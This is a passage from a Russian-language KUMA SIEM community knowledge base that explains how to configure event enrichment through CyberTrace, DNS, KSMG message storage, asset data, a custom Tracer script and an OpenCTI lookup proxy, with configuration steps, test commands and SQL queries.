<p class="callout info"><span class="notion-enable-hover" data-token-index="0">Указываем поля DestinationHostName | RequestURL и DestinationNtDomain | DestinationDnsDomain, потому что в событии может быть только одно поле из пары. Если есть оба поля, коннектор CyberTrace в KUMA возьмет только уникальное значение и отправит в CyberTrace на анализ</span></p>

<p class="callout info"><span class="notion-enable-hover" data-token-index="0">Если объекты (IP, URL, Domain, Hash) расположены в “кастомных” полях, напр., DeviceCustomString1, то можно создать отдельное правило обогащения, в котором в качестве ключевого поля будет указано необходимое "кастомное" поле/поля</span></p>

Добавьте созданное правило обогащения в параметрах сервиса коллектора (или коррелятора): перейдите в **Ресурсы -&gt;** **Активные сервисы** и нажмите на название сервиса коллектора . В появившемся окне **Редактирование коллектора** перейдите на шаг **Обогащение событий** и в секции справа нажмите **Добавить обогащение.**

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/scaled-1680-/yRSimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/yRSimage.png)

В поле **Правило обогащения** выберите ранее созданное правило обогащения.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/scaled-1680-/i5Dimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/i5Dimage.png)

После добавления правила обогащения перейдите на шаг **Проверка параметров** и нажмите **Сохранить и обновить параметры сервисов** для применения изменений конфигурации коллектора.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/scaled-1680-/PFzimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/PFzimage.png)

#### Интеграция с помощью Kaspersky CyberTrace Service 

<p class="callout warning">Для повышения прозводительности, можно изменять число рабочих процессов коллектора (1 шаг настройки) / самого правила обогащения (для асинхронных задач эффективнее работа)</p>

В KUMA перейдите в раздел **Ресурсы - Правила обогащения**. Нажмите на кнопку **Добавить правило обогащения**. В поле URL укажите IP адрес CyberTrace, остальные поля заполните по аналогии со скриншотом ниже. Затем нажмите на кнопку **Сохранить**.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/R6eimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/R6eimage.png)

Добавьте созданное правило обогащения на нужные коллеторы или корреляторы. Ниже пример добавления в коррелятор.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/YQMimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/YQMimage.png)

После выполнения настроек необходимо сохранить и обновить (можно и перезапустить) параметры ресурса.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/kmHimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/kmHimage.png)


---

### Проверка работы интеграции <span class="fontstyle0">CyberTrace</span> с KUMA

Подразумевается, что настроена интеграция событий с KSC на KUMA, на хосте, где будет проводиться тест установлен KES с последними обновлениями. Иначе используйте другие системы, с которыми осуществлена интеграция по событиям.

В CyberTrace в разделе Индикаторы, скопируйте любой URL из списка содержимых.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/o9Yimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/o9Yimage.png)

С хоста, где установлен KES осуществите переход в браузере по ссылке, например - [http://www.kasprsky.com/test/wmuf](http://www.kasprsky.com/test/wmuf) и получите "отбивку" от KES. Через некоторое время появится событие от KSC. В событии будет обращение по вредоносной ссылке с дополнительным контекстом от CyberTrace, пример ниже:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/i4Iimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/i4Iimage.png)

<p class="callout info">Сопоставление названия фида и категории [https://support.kaspersky.com/help/CyberTrace/5.0/ru-RU/166083.htm](https://support.kaspersky.com/help/CyberTrace/5.0/ru-RU/166083.htm) </p>

Количество обнаружений на основе объектов, полученных от KUMA, можно увидеть в дашборде статистики на CyberTrace, для Отображения и обновления информации в разделе Информационная панель:

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-09/scaled-1680-/sypimage.png)

Включите опции:

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-09/scaled-1680-/iehimage.png)

Не забудьте нажать кнопку Сохранить.

<p class="callout info">В качестве упрощенного варианта проверки корректной работы обогащения CyberTrace можно отправить тестовое событие в коллектор с помощью утилиты netcat или утилиты [kuma](https://support.kaspersky.com/help/KUMA/3.2/ru-RU/260684.htm). В примере ниже используется тестовое событие в формате CEF, отправленное средствами netcat.  
  
Для коллектора с транспортом TCP:  
nc &lt;IP-адрес&gt; &lt;порт&gt; &lt;&lt;&lt; 'CEF:Version|Device Vendor|Device Product|Device Version|Signature ID|Name|Severity|request=&lt;любой URL из вкладки Indicators CyberTrace&gt;'  
  
Для коллектора с транспортом UDP:  
nc -u &lt;IP-адрес&gt; &lt;порт&gt; &lt;&lt;&lt; 'CEF:Version|Device Vendor|Device Product|Device Version|Signature ID|Name|Severity|request=&lt;любой URL из вкладки Indicators CyberTrace&gt;'  
  
Пример обогащенного события на скриншоте ниже  
</p>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/scaled-1680-/yjximage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/yjximage.png)

<p class="callout info">Для создания алертов и отслеживания обращений к IP-адресам/доменам/URL, информация о которых есть в фидах CyberTrace, необходимо привязать к коррелятору следующие правила корреляции из SOC Package:  
  
R201\_Обнаружено соединение с подозрительным IP-адресом  
R202\_Обнаружено обращение на подозрительный Domain  
R203\_Обнаружено обращение на подозрительный URL</p>

# DNS-обогащение

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

<p class="callout info">Официальная документация по данному разделу приведена в Онлайн-справке на продукт: [https://support.kaspersky.com/KUMA/3.2/ru-RU/217863.htm](https://support.kaspersky.com/KUMA/3.2/ru-RU/217863.htm)</p>

### <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" frameborder="0" height="315" src="https://www.youtube.com/embed/es0nC-YvZwc?si=4A7G3FrZtPNy91Ap" title="YouTube video player" width="560"></iframe>



### Обогащение DNS

<div id="bkmrk-dns-%D0%BE%D0%B1%D0%BE%D0%B3%D0%B0%D1%89%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BF%D0%BE%D0%B7%D0%B2%D0%BE">DNS обогащение позволяет преобразовывать доменные имена в адреса для следующих полей:</div><div id="bkmrk-destinationhostname-">- DestinationHostName -&gt; DestinationAddress
- DeviceHostName -&gt; DeviceAddress
- SourceHostName -&gt; SourceAddress

</div>А также преобразовывать адреса в доменные имена для следующих полей:

- DestinationAddress -&gt; DestinationHostName
- DeviceAddress -&gt; DeviceHostName
- SourceAddress -&gt; SourceHostName

<div id="bkmrk--1"></div><p class="callout warning">Важный момент, DNS обогащение работает только для серых сетей</p>

<p class="callout warning">Обогащение происходит если: целевые поля пустые и если резолвится PTR из IP, то будут резолвиться только серые IP</p>

<div id="bkmrk--2"></div><div id="bkmrk-%22cache-ttl%22-%D0%B2-%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE">"Cache TTL" в настройках DNS Обогащения (Дефолтовое значение 60 сек), работает следующим образом:</div><div id="bkmrk-kuma-%D1%80%D0%B5%D0%B7%D0%BE%D0%BB%D0%B2%D0%B8%D1%82-server">- KUMA резолвит server.example.com в 192.168.1.1 и получает TTL этой записи (от DNS сервера получает) 3600 сек например
- добавляет себе это в кеш
- как только время хранения записи в кеше достигает TTL/2 = 1800 сек, то KUMA сама идет в DNS сервер и обновляет закешированную запись
- те 60 сек которые мы выставляем - это время хранения записей, которые не обновлены с DNS - например server.example.com больше не существует

</div><p class="callout info">Поле настройки URL - не обязательно. Если оставить пустым, то при обогащении будут использоваться системные настройки сервера. Соответственно, если DNS в ОС серверов коллекторов разные - то и обогащение будет разное</p>

<p class="callout info">Если событие с адресом [127.0.0.1](http://127.0.0.1/), то можно перед DNS обогащением в коллекторе в парсинге добавить затирание deviceAddress, если оно равно [127.0.0.1](http://127.0.0.1/), тогда обогащение DNS должно произойти</p>

<div id="bkmrk--3"></div>---

### Настройка на стороне KUMA

<p class="callout warning">Для повышения прозводительности, можно изменять число рабочих процессов коллектора (1 шаг настройки) / самого правила обогащения (для асинхронных задач эффективнее работа)</p>

В разделе **Ресурсы - Правила Обогащения** создаем новое правило, ниже пример типового обогащения для DNS:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/hK8image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/hK8image.png)

Далее созданное правило обогащения выше необходимо закрепить в коллекторе в части обогащения.

# Обогащение событий KSMG ссылкой на сообщение, помещенное в хранилище

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

<p class="callout info">Для нормализации событий KSMG в KUMA применяется нормализатор \[OOTB\] KSMG 2.1+ syslog CEF</p>

### Хранилище сообщений KSMG

**Хранилище** предназначено для хранения поступающих почтовых сообщений перед их обработкой модулями KSMG. В случае если почтовое сообщение будет отклонено или удалено в результате работы одного из модулей KSMG, аналитик может получить доступ к оригинальному почтовому сообщению в Хранилище.

<p class="callout info">Для сохранения оригинала сообщения в Хранилище в параметрах модуля KSMG должен быть активирован параметр **<span class="guicharacter">Поместить исходное сообщение в Хранилище. </span>**<span class="guicharacter">Сообщения помещаются в Хранилище вместе с вложениями. </span></p>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/image.png)

### Создание правила обогащения в KUMA

<span style="mso-fareast-language: RU;">Чтобы настроить обогащение событий KSMG ссылкой на почтовое сообщение, помещенное в Хранилище KSMG, создайте правило обогащения:</span>

- <span style="mso-fareast-language: RU;"><span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;"><span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В веб-интерфейсе </span><span lang="EN-US">KUMA</span><span style="mso-ansi-language: RU;"> перейдите в раздел **Ресурсы** </span><span style="font-family: 'Arial',sans-serif; mso-ansi-language: RU;">→</span><span style="mso-ansi-language: RU;"> **Правила обогащения**.</span></span>
- <span style="mso-fareast-language: RU;"><span style="mso-ansi-language: RU;">Нажмите на кнопку **Создать**.</span></span>
- <span style="mso-fareast-language: RU;"><span style="mso-ansi-language: RU;">В появившемся окне **Создание правила обогащения**:</span></span>
    - <span style="mso-fareast-language: RU;"><span style="mso-ansi-language: RU;"><span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;"><span style="font: 7.0pt 'Times New Roman';"> </span></span></span>В поле **Название** введите уникальное имя правила.</span></span>
    - <span style="mso-fareast-language: RU;"><span style="mso-ansi-language: RU;">В раскрывающемся списке **Тенант** выберите, к какому тенанту относится этот ресурс.</span></span>
    - <span style="mso-fareast-language: RU;"><span style="mso-ansi-language: RU;">В раскрывающемся списке **Тип источника данных** выберите шаблон.</span></span>
    - <span style="mso-fareast-language: RU;"><span style="mso-ansi-language: RU;">В поле **Шаблон** укажите следующий шаблон ссылки:</span></span>

```
https://{{.DeviceAddress}}/ru_RU/#/backup?filter=[{"field":"smtp_message_id","condition":"CONTAIN","value":"{{.DeviceCustomString1}}"}]
```

- - <span style="mso-fareast-language: RU;"><span style="mso-ansi-language: RU;">В поле **Целевое поле** укажите **DeviceExternalID.**</span></span>
    - <span style="mso-fareast-language: RU;"><span style="mso-ansi-language: RU;">Опционально добавьте **Описание**.</span></span>
    - <span style="mso-fareast-language: RU;"><span style="mso-ansi-language: RU;">В секции **Параметры фильтра** укажите условия определения событий KSMG, в которые будет добавляться ссылка. Переключитесь на **Код** и укажите следующее условие:</span></span>

```
Name = 'message backup result'
OR (
S.BackupResult = 'BackedUp'
AND
Name = 'message result'
)
```

1. - <span style="mso-fareast-language: RU;">Нажмите **Создать**.</span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/uceimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/uceimage.png)

<span style="font-family: 'Kaspersky Sans Display',sans-serif; mso-no-proof: yes;"> </span>

<span style="font-family: 'Kaspersky Sans Display',sans-serif; mso-no-proof: yes;"> </span>

Далее созданное правило обогащения необходимо применить в Коллекторе для приема и обработки событий KSMG.

### Применение правила обогащения в коллекторе KSMG

Чтобы добавить созданное правило обогащения в Коллекторе для приема и обработки событий KSMG:

- <span style="mso-ansi-language: RU;">Перейдите в раздел **Ресурсы** </span><span style="font-family: 'Arial',sans-serif; mso-ansi-language: RU;">→</span><span style="mso-ansi-language: RU;"> **Активные сервисы.**</span>
- <span style="mso-ansi-language: RU;">Выберите **Коллектор**, который используется для приема и обработки событий KSMG.</span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/1mkimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/1mkimage.png)

- В окне **Редактирование коллектора** перейдите на шаг **Обогащение событий** и нажмите **Добавить обогащение**.
- В поле **Правило обогащения** выберите ранее созданное правило обогащения.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/HuCimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/HuCimage.png)

- Перейдите на шаг **Проверка параметров** и нажмите **Сохранить и обновить параметры сервисов**.
- Нажмите **Сохранить**.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/rz1image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/rz1image.png)

### Проверка перехода в хранилище KSMG из карточки события KUMA

- В разделе **События** выполните поиск событий типа **message backup result** или **message result**

```sql
SELECT *
FROM `events`
WHERE Name = 'message backup result' AND DeviceProduct = 'KSMG' 
ORDER BY Timestamp DESC
LIMIT 250
```

ИЛИ

```sql
SELECT *
FROM `events`
WHERE Name = 'message result' AND DeviceProduct = 'KSMG' 
ORDER BY Timestamp DESC
LIMIT 250
```

- Откройте карточку события и убедитесь, что в поле **DeviceExternalID** появилась ссылка для перехода в Хранилище KSMG.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/1Siimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/1Siimage.png)

- Выполните переход по ссылке.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/7H8image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/7H8image.png)

- В результате будет выполнен переход в Хранилище KSMG с фильтром по сообщению — будет отображаться только то почтовое сообщение, результаты анализа которого представлены в карточке события KUMA.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/QJXimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/QJXimage.png)

- Далее аналитик в интерфейсе KSMG может: 
    - Просмотреть свойства сообщения (причину блокировки сообщения, данные отправителя, сработавшие правила).

<div id="bkmrk--10"></div><div id="bkmrk--11"></div>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/jyrimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/jyrimage.png)

- - Выполнить предпросмотр сообщения, чтобы ознакомиться с оригинальным текстом сообщения.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/2Eqimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/2Eqimage.png)

- - Скачать сообщение в формате eml.
    - Выполнить отправку сообщения пользователю в случае False Positive или отправить на повторную проверку.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/Hdaimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/Hdaimage.png)

# Обогащение событий информацией об Активах

<p class="callout info">Начиная с версии 4.0 обогащение активами стало явным. Теперь для настройки обогащения необходимо создать и добавить на коллектор правило обогащения типа "обогащение активами".  
  
Обогащения созданные до обновления остаются как inline-ресурсы, а все созданные после обновления коллекторы не будут иметь встроенного обогащения, его необходимо настроить самостоятельно.  
  
Подробности см. [https://support.kaspersky.ru/kuma/4.2/307279](https://support.kaspersky.ru/kuma/4.2/307279)   
</p>

Активы могут попасть в KUMA следующими способами:

- От KSC (FQDN, IP, MAC, Имя ассета (в KSC, Владелец \[Principal name\], Информация об уязвимостях, Информация об установленном ПО, Информация о hardware). KUMA импортирует из базы KSC сведения об устройствах с установленным Агентом администрирования KSC, который подключался к KSC, то есть поле Connection time в базе SQL – непустое.
- От KICS
- От Vulnerability Scanner: Из коробки: MP8 Scanner, RedCheck. Через новые PreSalesPack скрипты: Nessus, OWASP ZAP;
- От CMDB выгрузка в виде CSV, затем скриптом через API добавление в KUMA (скрипт в [**CommunityPack**](https://kas.pr/kuma-ppack));
- Вручную

Коллекторы KUMA с периодически получают списки асcетов (активов) от ядра KUMA и хранят их памяти в виде таблиц, позволяющих определить AssetID по **IP адресу и/или FQDN**.

<p class="callout info">У ассета может быть указан массив значений IP и/или FQDN. Обогащение проверяет все IP ассета и/или FQDN.</p>

<p class="callout info">Про склейку информации об активах, подробнее тут: [https://support.kaspersky.com/help/KUMA/3.2/ru-RU/243031.htm](https://support.kaspersky.com/help/KUMA/3.2/ru-RU/243031.htm) </p>

При поступлении события в коллектор, коллектор выполняет:

- нормализацию данных в поля события KUMA;
- если в событии содержится информация о SourceAddress, Destination Address, DeviceAddress, SourceHostName, DestinationHostName, DeviceHostName коллектор выполняет поиск IP - AssetID и/или FQDN - AssetID;
- если информация об ассете найдена, AssetID проставляется в соответствующее поле нормализованного события;
- В общем случае, в нормализованное событие могут быть проставлены 3 типа AssetID: SourceAssetID, DestinationAssetID, DeviceAssetID.

После чего события, обогащенные информацией об ассетах направляются в коррелятор и/или хранилище.

Пример обогащенного события (при нажатии открывается карточка актива):

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/4PBimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/4PBimage.png)

#### Правила обогащения информацией об активах

<table id="bkmrk-%D0%98%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D1%8F-%D0%B2-%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D0%B8" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col></colgroup><tbody><tr><td>**Информация в событии**</td><td>**Информация в карточке актива**</td><td>**Будет ли обогащение**</td></tr><tr><td>IP</td><td>IP + FQDN</td><td>Да</td></tr><tr><td>FQDN</td><td>IP + FQDN</td><td>Да</td></tr><tr><td>IP + FQDN</td><td>IP + FQDN</td><td>Да</td></tr><tr><td>IP</td><td>IP</td><td>Да</td></tr><tr><td>FQDN</td><td>IP</td><td>Нет</td></tr><tr><td>IP + FQDN</td><td>IP</td><td>Нет</td></tr><tr><td>IP</td><td>FQDN</td><td>Нет</td></tr><tr><td>FQDN</td><td>FQDN</td><td>Да</td></tr><tr><td>IP + FQDN</td><td>FQDN</td><td>Да</td></tr></tbody></table>

# Обогащение произвольного поля с утилитой Tracer

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-02/scaled-1680-/y3dimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-02/y3dimage.png)

Утилита (скрипт) была написана для получения возможности обогощать событие по значению поля со сторонних систем с использованием языка программирования Python3. Tracer.py мимикрирует под механизм обогащения аналогично CyberTrace, с обогащенными данными можно работать подобно обогащению Threat Intelligence. Утилита может работать как на Linux (рекомендуется), так и Windows платформах (ОС).

<p class="callout warning">**Для продвинутых пользователей!** Для работы с Tracer.py требуются навыки программирования Python3</p>

Скрипт можно загрузить по [ссылке](https://kas.pr/kuma-ppack) в Пресейл-Паке контенте.

Необходимые библиотеки для работы Tracer.py:

<div id="bkmrk-import-socket-from-s"><div>- import socket
- from select import select
- from signal import signal
- from sys import platform
- from re import match
- from datetime import datetime
- from dateutil.relativedelta import relativedelta

</div></div>Для использования TCP\_FASTOPEN (рекомендуется) на ОС Linux выполните команду ниже:

```bash
echo 3 > /proc/sys/net/ipv4/tcp_fastopen
```

Предварительные правки для Tracer.py:

<div id="bkmrk-server-%3D-%22127.0.0.1%22">- SERVER = "127.0.0.1" (строка кода 14) - укажите IP-адрес для прослушивания
- PORT = 16666 (строка кода 15) - укажите порт для прослушивания
- Обогащение данными производится в строках 72-74, в переменную somedata можно добавить произвольные данные полученные любым способом (из файла, БД, GET запросом и т.д.), таже можно использовать и другие поля (см строку 74 кода - extraInfo=KUMA\_THE\_BEST\_SIEM) с разделитетем "|"

</div>На стороне KUMA нужно прописать следующее обогащение:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-01/scaled-1680-/Umzimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-01/Umzimage.png)

По картинке выше, обогащается значение поля Code и сопоставляется с полем Tracer - url. Производительность скрипта состовляет ~ 50 EPS, при рекомендуемой настройке Enrichment: 50 connections и 100 RPS.

<p class="callout warning">Возможно использовать только поле url в сопоставлении, но туда можно поместить произвольные данные</p>

При обогащении события получаем следующие обогащенные данные:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-01/scaled-1680-/Bczimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-01/Bczimage.png)

Так как используется "нелегальный" механизм обогащения в логах коллектора копятся (периодически очищайте) ошибки следующего вида:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-01/scaled-1680-/sxmimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-01/sxmimage.png)

# Интеграция OpenCTI и KUMA

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

<p class="callout info">Ссылка на репозиторий [https://github.com/KUMA-Community/KumaOpenctiLookupProxy](https://github.com/KUMA-Community/KumaOpenctiLookupProxy) </p>

В современных SOC-инфраструктурах эффективность анализа событий безопасности напрямую зависит от актуальных данных Threat Intelligence. Интеграция платформы OpenCTI с SIEM-системой Kaspersky Unified Monitoring and Analysis Platform (KUMA) позволяет использовать данные о киберугрозах для обогащения событий безопасности и ускорения расследования инцидентов.

Основная задача интеграции — автоматическая проверка индикаторов компрометации (IoC), обнаруженных в событиях KUMA, по базе Threat Intelligence OpenCTI. При нахождении совпадений события дополняются контекстной информацией: описанием индикатора, источником, уровнем доверия и связанными аналитическими отчётами.

**Возможности интеграции:**

- автоматическая проверка индикаторов компрометации из событий безопасности;
- обогащение событий данными Threat Intelligence;
- связывание обнаруженных индикаторов с отчётами и аналитикой OpenCTI;
- ускорение анализа и расследования инцидентов в SOC.

Таким образом, OpenCTI выступает централизованным источником данных о киберугрозах для KUMA, обеспечивая дополнительный уровень контекстного анализа и повышая качество обнаружения атак.

---

## Архитектура интеграции

Интеграция реализована через промежуточный сервис **OpenCTI-KUMA Lookup Proxy** — HTTP-сервис, принимающий запросы от KUMA и преобразующий их в запросы к API OpenCTI.

**Функции сервиса:**

- приём lookup-запросов от KUMA;
- поиск индикаторов в OpenCTI среди объектов Indicators и Observables;
- формирование ответа в формате CyberTrace HTTP, используемом KUMA для обогащения событий.

[![](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/scaled-1680-/image-1775548236979.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/image-1775548236979.png)

### Компоненты и технический стек

Сервис реализован на **Python** с использованием фреймворка **FastAPI** и развёрнут в Docker-контейнере на сервере OpenCTI в рамках той же Docker-сети.

Для запуска используется **Gunicorn** с Uvicorn workers, что обеспечивает эффективную обработку параллельных запросов. Количество worker-процессов рассчитывается по формуле:

```
workers = 2 × CPU + 1

```

Каждый worker — это отдельный процесс, обслуживающий множество асинхронных HTTP-запросов.

Для доступа к сервису извне используется **Nginx** в роли reverse-proxy: он публикует порт `8000` и обеспечивает доступ по HTTPS. Сост

[![](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/scaled-1680-/image-1775548258873.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/image-1775548258873.png)

### Переменные окружения

<table id="bkmrk-%D0%9F%D0%B5%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F-%D0%9E%D0%BF%D0%B8%D1%81%D0%B0%D0%BD%D0%B8%D0%B5-"><thead><tr><th>Переменная</th><th>Описание</th></tr></thead><tbody><tr><td>`LOOKUP_BASIC_USER`</td><td>Имя пользователя для подключения KUMA к сервису</td></tr><tr><td>`LOOKUP_BASIC_PASSWORD`</td><td>Пароль для подключения KUMA к сервису</td></tr><tr><td>`OPENCTI_TOKEN`</td><td>Bearer-токен сервисного пользователя OpenCTI</td></tr></tbody></table>

KUMA обращается к сервису с использованием **Basic Authentication**, а сам сервис выполняет запросы к OpenCTI с **Bearer-токеном** сервисного пользователя.

---

## Настройка пользователя в OpenCTI

Для работы интеграции необходимо создать отдельного сервисного пользователя в OpenCTI.

1. Перейдите в **Settings → Security → Users** и нажмите **Create User**.
2. В окне **New User** укажите **Name** — имя пользователя.
3. Добавьте пользователя в заранее созданную группу **Integration**.
4. Отметьте пользователя как **Service Account**.
5. Откройте профиль пользователя и скопируйте **API Token** — он будет использоваться сервисом для обращения к GraphQL API OpenCTI.

[![](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/scaled-1680-/image-1775548326279.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/image-1775548326279.png)

[![](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/scaled-1680-/image-1775548333513.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/image-1775548333513.png)

[![](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/scaled-1680-/image-1775548341220.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/image-1775548341220.png)

<p class="callout info">**Примечание:** группа Integration должна иметь роль с правами **только на чтение** в соответствии с принципом минимально необходимых привилегий.</p>

---

## API сервиса OpenCTI-KUMA Lookup Proxy

Сервис предоставляет два HTTP endpoint:

<table id="bkmrk-%D0%9C%D0%B5%D1%82%D0%BE%D0%B4-endpoint-%D0%9D%D0%B0%D0%B7%D0%BD%D0%B0"><thead><tr><th>Метод</th><th>Endpoint</th><th>Назначение</th></tr></thead><tbody><tr><td>`POST`</td><td>`/api/1.1/lookup`</td><td>Проверка индикаторов (используется KUMA)</td></tr><tr><td>`GET`</td><td>`/health`</td><td>Мониторинг состояния сервиса</td></tr></tbody></table>

### Обработка запроса

KUMA отправляет список индикаторов в формате JSON. Каждый элемент массива содержит значение индикатора для проверки в OpenCTI.

[![](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/scaled-1680-/image-1775548347383.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/image-1775548347383.png)

Сервис обрабатывает запрос в три этапа:

1. **Аутентификация** — проверка заголовка `Authorization: Basic base64(user:password)`. Значения сравниваются с `LOOKUP_BASIC_USER` и `LOOKUP_BASIC_PASSWORD`. При несоответствии запрос отклоняется.
2. **Нормализация индикаторов** — например, из URL-адреса дополнительно извлекаются доменное имя и IP-адрес для расширения области поиска.
3. **Поиск в OpenCTI через GraphQL API** — сначала среди объектов **Indicators**, затем, при отсутствии совпадений, среди **Observables**. Для авторизации используется API-токен сервисного пользователя.

### Поля обогащения

При обнаружении индикатора в OpenCTI событие KUMA обогащается следующими данными:

<table id="bkmrk-%D0%9F%D0%BE%D0%BB%D0%B5-%D0%9E%D0%BF%D0%B8%D1%81%D0%B0%D0%BD%D0%B8%D0%B5-descri"><thead><tr><th>Поле</th><th>Описание</th></tr></thead><tbody><tr><td>`description` / `x_opencti_description`</td><td>Описание индикатора</td></tr><tr><td>`pattern`</td><td>STIX-паттерн индикатора</td></tr><tr><td>`created_at`</td><td>Дата создания</td></tr><tr><td>`updated_at`</td><td>Дата последнего обновления</td></tr><tr><td>`valid_from`</td><td>Дата начала актуальности индикатора</td></tr><tr><td>`valid_until`</td><td>Дата окончания актуальности индикатора</td></tr><tr><td>`x_opencti_score`</td><td>Степень доверия от 0 до 100</td></tr><tr><td>`objectLabel`</td><td>Теги индикатора / наблюдаемого объекта</td></tr><tr><td>`createdBy`</td><td>Источник информации</td></tr><tr><td>`reports`</td><td>Связанные аналитические отчёты (при наличии)</td></tr></tbody></table>

<table border="1" id="bkmrk--9" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/scaled-1680-/KUpimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/KUpimage.png)

</td><td>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/scaled-1680-/Aubimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/Aubimage.png)

</td></tr></tbody></table>

## Настройка на стороне KUMA

Для интеграции в KUMA используется механизм **cybertrace-http**, обеспечивающий потоковое обогащение событий.

### 1. Создание секрета

Перейдите в **Ресурсы → Секреты → Добавить** и заполните параметры:

